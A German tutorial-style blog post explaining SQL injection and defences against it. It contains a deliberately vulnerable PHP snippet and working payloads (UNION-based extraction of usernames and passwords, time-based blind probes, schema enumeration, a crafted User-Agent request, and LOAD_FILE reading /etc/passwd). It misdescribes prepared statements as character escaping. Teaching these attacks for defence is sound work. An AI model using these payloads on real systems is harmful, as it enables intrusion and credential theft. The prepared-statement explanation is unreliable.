Alles, was ich nachfolgend erkläre, ist streng verboten und kann zu hohen Strafen führen. Warum erkläre ich das dann? Weil nicht nur ich dieses Wissen habe, sondern andere Leute auch und nur, wer seinen Feind kennt, kann ihn bekämpfen.
Also: Das Wissen dieses Artikels ist nur für legale Penetration Tests und Security-Schulungen!
Einleitung: Warum SQL-Injection noch immer gefährlich ist
SQL-Injection ist einer der ältesten, aber immer noch effektivsten Angriffe auf Webanwendungen. Laut OWASP gehört sie zu den Top 10 Security-Risiken – und kann ganze Datenbanken offenlegen. In diesem Artikel zeige ich dir:
✅ Wie SQL-Injection funktioniert – von einfach bis komplex
✅ Live-Beispiele (inkl. User-Agent-Manipulation)
✅ Wie Hacker Datenbanken auslesen
✅ Schutzmaßnahmen für Entwickler
1. SQL-Injection Basics: Wie ein einfacher String zur Gefahr wird
Das unsichere Code-Beispiel
Stell dir vor, eine Webanwendung nutzt ungefilterte User-Daten in einer SQL-Abfrage:
// UNSICHERER CODE!
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$query = "SELECT * FROM logs WHERE user_agent = '$userAgent'";
Wenn der Angreifer seinen User-Agent manipuliert, wird daraus schnell ein:
SELECT * FROM logs WHERE user_agent = '...' OR '1'='1'; --'
→ Ergebnis: Die Query gibt ALLE Datensätze zurück!
Typische Angriffsvektoren
- Formularfelder (Login, Suche)
- HTTP-Header (
User-Agent
,Referer
) - URL-Parameter (
?id=1'
)
2. Fortgeschrittene SQL-Injection: Datenbanken auslesen
Technik #1: Union-Based Injection
' UNION SELECT 1,username,password FROM users-- -
- Funktioniert, wenn die Query mehrere Spalten zurückgibt.
- Enthüllt Benutzernamen & Passwörter (falls im Klartext gespeichert 😱).
Technik #2: Time-Based Blind Injection
' OR IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -
- Keine direkte Ausgabe? Die Antwortverzögerung verrät trotzdem Informationen.
Technik #3: Datenbankstruktur ausspähen
' UNION SELECT table_name,column_name FROM information_schema.columns-- -
- Ziel: Finde alle Tabellen & Spalten für gezielte Angriffe.
3. Real-World-Beispiel: Hack des User-Agent-Headers
Angriff via Brave/Chromium-User-Agent
GET /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (...) Brave/124.0.0.0' UNION SELECT 1,@@version,3-- -
→ Mögliche Antwort: Die Datenbankversion wird im Log ausgegeben!
Angriff auf /etc/passwd
2. Dateisystem-Zugriff (MySQL mit LOAD_FILE
):
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
→ Voraussetzung: DB-Benutzer benötigt File-Read-Rechte.
Was Hacker damit machen können
- Passwort-Hashes stehlen
- Admin-Zugänge übernehmen
- Dateien vom Server lesen (
LOAD_FILE
)
4. Schutzmaßnahmen: So stoppst du SQL-Injection
#1 Prepared Statements (PDO/MySQLi)
- Escape alle nicht benötigten Zeichen aus allen Datenbankqueries
#2 Web Application Firewall (WAF)
- Blockiert bekannte Injection-Patterns (z. B.
UNION SELECT
,SLEEP
).
#3 Minimale Datenbank-Rechte
- Der DB-User sollte keine Admin-Rechte haben!
#4 Input-Validierung
- Whitelisting: Nur erlaubte Zeichen akzeptieren.
SQL-Injection ist vermeidbar!
Die Technik ist alt – aber viele Systeme sind noch immer anfällig. Als Entwickler trägst du die Verantwortung:
🔒 Nutze Prepared Statements
🔒 Führe regelmäßige Security-Audits durch
🔒 Teste deine Anwendung (Tools: SQLMap, Burp Suite)
Weiterführende Links: